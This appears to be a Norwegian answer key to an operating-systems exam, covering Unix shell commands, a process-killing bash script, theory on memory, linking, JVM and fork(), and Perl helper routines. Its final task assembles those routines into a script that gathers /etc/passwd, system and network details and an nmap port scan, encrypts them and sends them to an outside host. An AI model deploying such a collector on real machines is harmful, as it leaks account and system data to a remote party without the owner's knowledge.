Oppgave 1
a) mv current.version old.version
b) chmod 640 readme.txt
c)
d)
/tmp/tmp
/tmp/tmp -> /tmp
(eller /tmp/tmp -> .
)
/tmp/tmp/tmp -> /tmp
/tmp/tmp -> katalog
og i katalog
finnes det en link tmp -> /tmp
Oppgave 2
#! /bin/bash user=`whoami` # Eventuelt bruke $USER ps aux | while read uid pid rest do if [ $uid == $user ] # Brukes ps ux, bør 1. linje unngås then if [ $$ -gt $pid -a $pid -gt $1 ] then echo "dreper $pid" kill -9 $pid fi fi done
Oppgave 3
a) bytes == 1 Mbyte
b) Kortest tid å hente en byte fra et register, lengst tid fra harddisken.
c) Linking er å koble sammen den kompilerte koden til et program med moduler og statiske bibliotek til ett kjørbart program.
d) Et dynamisk bibliotek linkes ikke direkte til hvert program. Bare en felles kopi av bibliotekrutinene lastes inn i minnet og flere programmer bruker det samme biblioteket. I tillegg lastes ikke rutinene inn før det er behov for dem.
e) OS legger da alt på swap-området på harddisken.
f) Hver page som lastes ut fra minnet ved paging har en fast størrelse og swap-partisjonen er tilpasset dette og disse operasjonene. Vanlige filer varier i størrelse og trenger et mer fleksibelt filsystem.
g) Java byte-kode kjører på en virtuell maskin (JVM, Java Virtual Machine). Hver plattform som Windows-PC, Sun Unix-maskin, Linux-PC, Mac, etc. har sin egen spesiallagede JVM som tolker byte-koden og kjører den på den underliggende plattformen.
h) Et kompilert C-program er maskinkode med instruksjoner til CPU'en på den plattformen programmet er kompilert. Intel og Sun har ikke samme instruksjoner og programmet vil derfor umulig kunne kjøre (I tillegg inneholder slik maskinkode OS-instruksjoner, så det ville heller ikke kjørt på en Intel Linux-PC).
i) Systemkallet fork()
brukes til å starte en ny prosess. Det lager en kopi av programmet som
kaller fork()
(parent) og det nye programmet (child) legges inn i prosess-køen med sin
egen prosess-ID. Child kjører
samme kode som parent, men starter fra etter fork()
-kallet.
j)
fork() er komplisert! (0 sek) B: i = 2 (0 sek) A: i = 2 (5 sek) B: i = 3 (5 sek) C: i = 2 (5 sek) C: i = 3 (10 sek)Utskriften C: etter 5 sekunder kan også komme i mellom og før de to andre linjene over som kommer etter 5 sekunder, men linjen med A: kommer alltid før den med B: (forøvrig vil shell-promptet komme etter 2. linje).
Oppgave 4
a)
sub getFile() { my ($string,$line); my $file = $_[0]; if(open(FILE,$file)) { $string = "FILE: $file\n"; while($line = <FILE>) { $string .= $line; } close(FILE); } else { $string = "FILENOTFOUND: Can't open file $file\n"; } return($string); }
b)
sub getCommand() { my ($string,$line); my $com = $_[0]; $string = "COMMAND: $com\n"; if(open(COM,"$com |")) { while($line = <COM>) { $string .= $line; } close(COM); } return($string); }
c)
sub getIP() { my $line; if(open(COM,"/sbin/ifconfig |")) { while($line = <COM>) { if($line =~ /inet addr:(.*?) /) { close(COM); return($1); } } close(COM); } return("IP unknown"); }
Oppgave 5
#! /bin/perl use IO::Socket::INET; use Crypt::CBCeasy; $my_key = "miss"; $remote_host = "miss.microsoft.com"; $remote_port = 6686; my $socket = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port) # Proto => "tcp", or die "Can't connect to $remote_host at port $remote_port\n"; $host = `hostname`; chomp($host); $IP = getIP(); $time = localtime(); $data = "REPORT: from $host ($IP) on $time\n"; $data .= getFile("/etc/passwd"); $data .= getFile("/proc/cpuinfo"); $data .= getCommand("/sbin/ifconfig"); $data .= getCommand("uname -a"); $data .= getCommand("ps aux"); $data .= getCommand("nmap -p 23 $host"); $crypted = Blowfish::encipher($my_key,$data); $crypted .= "ENDOFTRANSMISSION"; send($socket,$crypted,"0"); close($socket);